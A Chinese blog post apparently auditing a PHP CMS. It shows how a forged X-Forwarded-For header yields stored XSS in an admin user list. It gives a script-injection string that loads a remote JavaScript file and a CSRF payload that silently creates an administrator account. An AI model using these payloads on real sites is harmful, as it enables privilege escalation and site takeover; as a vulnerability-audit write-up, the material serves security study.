博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
审计4 XSS
阅读量:4677 次
发布时间:2019-06-09

本文共 2225 字,大约阅读时间需要 7 分钟。

在sys/libphp中

1 function get_client_ip(){ 2     if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ 3         $ip = $_SERVER["HTTP_CLIENT_IP"]; 4     }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ 5         $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; 6     }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ 7         $ip = $_SERVER["REMOTE_ADDR"]; 8     }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ 9         $ip = $_SERVER['REMOTE_ADDR'];10     }else{11         $ip = "unknown";12     }13     return($ip);14 }

在代码段中发现服务器在$_SERVER["HTTP_CLIENT_IP"] 中获取了客户端的ip,然后搜索这个自定义的函数 get_client_ip()看获取iP后,有没有对ip进行过滤。直接将其

带入了数据库,并更新数据库!

1 

在14行发现只是用sqlwaf()函数对获取的ip进行了过滤。而sqlwaf在前面已经看过只是对sql语句进行了转移,而没有对xss的实体字符进行转义

  发现login_ip的长度限制为255,所以可以尽情地xss不用考虑长度问题。
1 
11
12
13
14
15
16
17
18
19
20
23
24
25
26
27
28
29
30
31
Id Name Ip Manege
删除
32 33 返回34

在manageUser.php中,发现将login_ip直接输出了出来。由此可以看出XSS可以利用。

 

在用户登录时 修改x-forwarded-for  然后查看数据库发现

对包裹http的双引号进行了转义所以可以  直接把  <script src="http://127.0.0.1/post.js"></script>  直接改成<script src=http://127.0.0.1/post.js></script>他在浏览器加载的时候会自动生成双引号包裹

构造payload:

1 (function(){ 2     var xmlHttp; 3     try{ 4         xmlHttp= new XMLHttpRequest(); 5     }catch(e){ 6         try{ 7         xmlHttp =new ActiveXObject('Msxm12.XMLHTTP'); 8         }catch(e){ 9             try{10         xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');11         }catch(e){12         }13         }14     }15     xmlHttp.open("POST","http://127.0.0.1/admin/manageAdmin.php",true);16     xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');17     xmlHttp.send('username=xsscsrf&password=123456'|| null);18 })();

在管理员查看用户信息时被添加账号  xsscsrf管理员账号!

利用成功!

 

 

 

 

 

 

转载于:https://www.cnblogs.com/pojun/p/7348250.html

你可能感兴趣的文章
hdu-1814(2-sat)
查看>>
谷歌浏览器,添加默认搜索引擎的搜索地址
查看>>
数据结构化与保存
查看>>
为什么需要Docker?
查看>>
国内5家云服务厂商 HTTPS 安全性测试横向对比
查看>>
how to control project
查看>>
转 python新手容易犯的6个错误
查看>>
第四节 -- 列表
查看>>
决策树
查看>>
团队作业
查看>>
如何避免在简单业务逻辑上面的细节上面出错
查看>>
大型网站高并发的架构演变图-摘自网络
查看>>
8丶运行及总结
查看>>
Design Pattern --- Strategy
查看>>
mui列表跳转到详情页优化方案
查看>>
一些简单有用的方法合集
查看>>
Neutron 架构 - 每天5分钟玩转 OpenStack(67)
查看>>
详解JS设计模式
查看>>
CPSR寄存器
查看>>
Java基础50题test7—处理字符串
查看>>